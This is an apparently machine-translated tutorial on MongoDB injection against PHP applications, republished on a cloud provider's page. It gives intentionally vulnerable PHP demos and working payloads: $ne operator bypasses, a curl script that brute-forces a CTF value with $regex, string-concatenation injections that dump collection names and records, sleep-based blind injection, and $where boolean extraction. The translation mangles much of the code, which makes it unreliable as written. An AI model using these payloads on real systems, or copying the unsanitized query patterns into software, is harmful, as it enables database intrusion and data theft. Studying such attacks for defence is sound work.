Talk about Mongodb injection attack recording [multiple figures]

Source: Internet
Author: User
Tags comparison findone mongodb injection mongodb version php code sql injection strlen tojson

Preface

For more information about how to install and run mongodb and how to operate mongodb using php, see my previous articles.

There are already posts on mongodb operations in php in China, but there seem to be few articles about mongodb injection attacks based on php. This article is a summary of the author's learning and reading a large amount of information. The attack techniques and intellectual property rights involved in this article are all owned by the original author. I am just a Porter of nature. Please do not reprint it without the consent of the author.

Summary

There are two ways to operate mongodb in php:

1. Use the corresponding method in the mongo class to perform addition, query, subtraction, and modification, for example:

<? Php
 
$ Mongo = new mongoclient ();
 
$ Db = $ mongo-> myinfo; // select a database
 
$ Coll = $ db-> test; // select a set
 
$ Coll-> save (); // add
 
$ Coll-> find (); // query
 
$ Coll-> remove (); // subtract
 
$ Coll-> update (); // modify

The input parameter is an array.

2. execute a string using the execute method, for example:

<? Php
 
$ Mongo = new mongoclient ();
 
$ Db = $ mongo-> myinfo; // select a database
 
$ Query = "db. table. save ({'newsid ': 1})"; // add
 
$ Query = "db. table. find ({'newsid ': 1})"; // query
 
$ Query = "db. table. remove ({'newsid ': 1})"; // subtract
 
$ Query = "db. table. update ({'newsid ': 1}, {'newsid', 2})"; modify
 
$ Result = $ db-> execute ($ query );

In this case, the parameter passed to the execute method is the string variable $ query

In particular, the string writing syntax is js writing syntax.

There are different injection attack methods for the preceding two different execution methods.

Injection Attacks

0. Before an attack, we need to create a set as the basis for the attack.

 

 

User test is a test account for which attackers already know the account and password. The passwords of other accounts are random. You want to obtain the password of another account through injection.

1. Injection during array binding

A query demo bound to an array is as follows:

<? Php
$ Mongo = new mongoclient ();
$ Db = $ mongo-> myinfo; // select a database
$ Coll = $ db-> test; // select a set
$ Username = $ _ GET ['username'];
$ Password = $ _ GET ['password'];
$ Data = array (
'Username' => $ username,
'Password' => $ password
);
$ Data = $ coll-> find ($ data );
$ Count = $ data-> count ();
If ($ count> 0 ){
Foreach ($ data as $ user ){
Echo 'username: '. $ user ['username']. "</br> ";
Echo 'password: '. $ user ['password']. "</br> ";
    }
}
Else {
Echo 'not found ';
}
?>

 

 

At this time, the attack utilizes a feature that php can pass array parameters.

When the input url is:

Http: // 127.0.0.1/2.php? Username = test & password = test

The statement is executed:

Db. test. find ({username: 'test', password: 'test '});

If the entered url is as follows:

Http: // 127.0.0.1/2.php? Username [xx] = test & password = test

$ Username is an array, which is equivalent to executing the php statement:

$ Data = array (
'Username' => array ('XX' => 'test '),
'Password' => 'test ');

 

Mongodb parses multi-dimensional arrays and finally executes the following statement:

Db. test. find ({username: {'XX': 'test'}, password: 'test '});

With this feature, we can pass in data, which is an operator (greater than, less than, equal to, not equal to, etc.) of the array key name to complete some of the queries that attackers expected.

For example, input url:

Http: // 127.0.0.1/2.php? Username [$ ne] = test & password [$ ne] = test

The result is shown in the figure below.

 

 

Because the input key name $ ne is a mongodb operator, the statement is finally executed:

Db. test. find ({username: {'$ ne': 'test'}, password: {'$ ne': 'test '}});

This statement is equivalent to SQL:

Select * from test where username! = 'Test' and password! = 'Test ';

Directly facilitates data in all sets.

If the user name and password cannot be displayed at this time, a logical positive or false judgment is returned.

Then we can use the $ regex operator to obtain data in one bit.

Case study: http: // 121.40.86.166: 23339/

This is a question in hctf.

I guess the php code is as follows:

<? Php
$ Mongo = new mongoclient ();
$ Db = $ mongo-> myinfo; // select a database
$ Coll = $ db-> test; // select a set
$ Lock = $ _ POST ['lock'];
$ Key = $ _ POST ['key'];
If (is_array ($ lock )){
$ Data = array (
'Lock' => $ lock );
$ Data = $ coll-> find ($ data );
If ($ data-> count ()> 0 ){
Echo 'The lock is right, but wrong key ';
} Else {
Echo 'lock is wrong ';
    }
} Else {
If ($ lock = 'aabbccdd' & $ key = 'aabbccdd '){
Echo 'Your flag is xxxxxxxx ';
} Else {
Echo 'lock is wrong ';
    }
}
?>

In this case, because there are only two types of Echo: "correct" or "error", we can only use regular expressions to judge whether one digit reads the lock content.

The usage of payload for this question is as follows:

<? Php
$ Ch = curl_init ();
Curl_setopt ($ ch, CURLOPT_URL, 'http: // 121.40.86.166: 23339 /');
Curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, 1 );
Curl_setopt ($ ch, CURLOPT_POST, 1 );
$ Ori = '0123456789abcdefghijklmnopqrstuvwxyz ';
$ Str = '';
For ($ I = 0; $ I <10; $ I ++ ){
For ($ j = 0; $ j <strlen ($ ori); $ j ++ ){
$ Post = 'key = 1 & lock [$ regex] = ^ '. $ str. $ ori [$ j];
Curl_setopt ($ ch, CURLOPT_POSTFIELDS, $ post );
$ Data = curl_exec ($ ch );
If (strlen ($ data) = 319 ){
$ Str. = $ ori [$ j];
Echo $ str. "rn ";
Break;
        }
    }
}
?>

The result is as follows:

 

 

It is equivalent to executing multiple queries in the database:

Db. test. find ({lock: {'$ regex': '^ a'}); db. test. find ({lock: {'$ regex': '^ B'}); db. test. find ({lock: {'$ regex': '^ c'}); db. test. find ({lock: {'$ regex': '^ Ca '}});...... ...... Db. test. find ({lock: {'$ regex': '^ aabbccdd '}});

Finally, all the string content is guessed, similar to the blind injection in SQL injection.

2. Injection during string concatenation

Different programmers have different writing habits because of the variety of string splicing methods.

This document only uses several demos as an example.

<? Php
$ Username = $ _ GET ['username'];
$ Password = $ _ GET ['password'];
$ Query = "var data = db. test. findOne ({username: '$ username', password:' $ password'}); return data ;";
// $ Query = "return db. test. findOne ();";
// Echo $ query;
$ Mongo = new mongoclient ();
$ Db = $ mongo-> myinfo;
$ Data = $ db-> execute ($ query );
If ($ data ['OK'] = 1 ){
If ($ data ['retval']! = NULL ){
Echo 'username: '. $ data ['retval'] ['username']. "</br> ";
Echo 'password: '. $ data ['tval'] ['password']. "</br> ";
} Else {
Echo 'not found ';
    }
} Else {
Echo $ data ['errmsg '];
}
?>

Attack method:

Http: // 127.0.0.1/1.php? Username = test' & password = test

 

 

Error. Try to close the statement.

Http: // 127.0.0.1/1.php? Username = test'}); return {username: 1, password: 2} // & password = test

This statement returns an array with the username key value 1 and password key value 2.

 

 

Mongodb version explosion

Http: // 127.0.0.1/1.php? Username = test'}); return {username: tojson (db. getCollectionNames (), password: 2}; // & password = test

Blow all set names

PS: because db. getCollectionNames () returns an array, you need to use tojson to convert it to a string. Mongodb functions are case sensitive.

 

 

Blow the first data in the test set

Http: // 127.0.0.1/1.php? Username = test'}); return {username: tojson (db. test. find () [0]), password: 2}; // & password = test

 

 

The second data entry in the test set

 

 

Because the execute method supports multi-statement execution, too many statements can be executed ~

Of course, sometimes no data is returned from the output. What should I do at this time?

In the high version, a function sleep () is added, that is, time-blind injection ~

PS: In a high version, it seems that you cannot use the annotation statement. In addition, a new feature of the high version is that error echo is enabled by default. The author tried not to annotate successfully, and only the closed method can be used.

Http: // 127.0.0.1/1.php? Username = test'}); if (db. version ()> "0") {sleep (10000); exit;} var B = ({a: '1 & password = test

 

 

The delay was 10 seconds.

Another demo

You can use the $ where operator in Mongdb. It is equivalent to the where restriction statement in an SQL statement. The $ where operator in mongodb often introduces a js function as a restriction. Injection is generated when the strings in the js function have unfiltered user input.

Release demo:

<? Php
$ Mongo = new mongoclient ();
$ Db = $ mongo-> myinfo; // select a database
$ Coll = $ db-> news; // select a set
$ News = $ _ GET ['news'];
$ Function = "function () {if (this. news = '$ News') return true }";
Echo $ function;
$ Result = $ coll-> find (array ('$ where' => $ function ));
If ($ result-> count ()> 0 ){
Echo 'This news exist ';
} Else {
Echo 'This news does not exist ';
}
?>

For testing, I have created two sets, one of which is the news set. Injection exists in the query process. The other is the user set. We need to inject the data into it.

In the code, this. news refers to the news column (field) in the table. The above code is translated into an SQL statement:

Select * from news where news = '$ news'

The injection method of this demo can be referred to as follows:

Http: // 127.0.0.1/3.php? News = test

Return normal

Http: // 127.0.0.1/3.php? News = test'

Error returned

Http: // 127.0.0.1/3.php? News = test' % 26% 26 '1' = '1

Return normal

Http: // 127.0.0.1/3.php? News = test' % 26% 26 '1' = '2

Error returned

So far, the injection is detected and data is obtained.

Http: // 127.0.0.1/3.php? News = test' % 26% 26db. getCollectionNames (). length> 0% 26% 26 '1' = '1

Returns normal. The number of sets is greater than 0.

Http: // 127.0.0.1/3.php? News = test' % 26% 26db. getCollectionNames (). length = 5% 26% 26 '1' = '1

Returns normal. The number of sets is equal to 5.

 

 

Get set name

Http: // 127.0.0.1/3.php? News = test' % 26% 26db. getCollectionNames () [0]. length = 6% 26% 26 '1' = '1

The returned result is normal. The length of the first set name is 6.

Http: // 127.0.0.1/3.php? News = test' % 26% 26db. getCollectionNames () [0] [0]> 'A' % 26% 26 '1' = '1

Returns normal. The first character of the first set name is greater than.

Http: // 127.0.0.1/3.php? News = test' % 26% 26db. getCollectionNames () [0] [0] = 'M' % 26% 26 '1' = '1

The returned result is normal. The first character of the first set name is m.

 

 

Finally, the user set can be cracked.

Query the first data in the user set.

Http: // 127.0.0.1/3.php? News = test' % 26% 26 tojson (db. user. find () [0]) [0] = '{' % 26% 26 '1' = '1

Because db. user. find () does not return a string and cannot retrieve the character for comparison, we can convert it into a json string for comparison. The truth is that the rest is physical, and you can use python or php to write a small script to achieve automation.

Referer

Http://drops.wooyun.org/papers/850

Http://webcache.googleusercontent.com/search? Q = cache: fPNiwObqKcEJ: cached

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.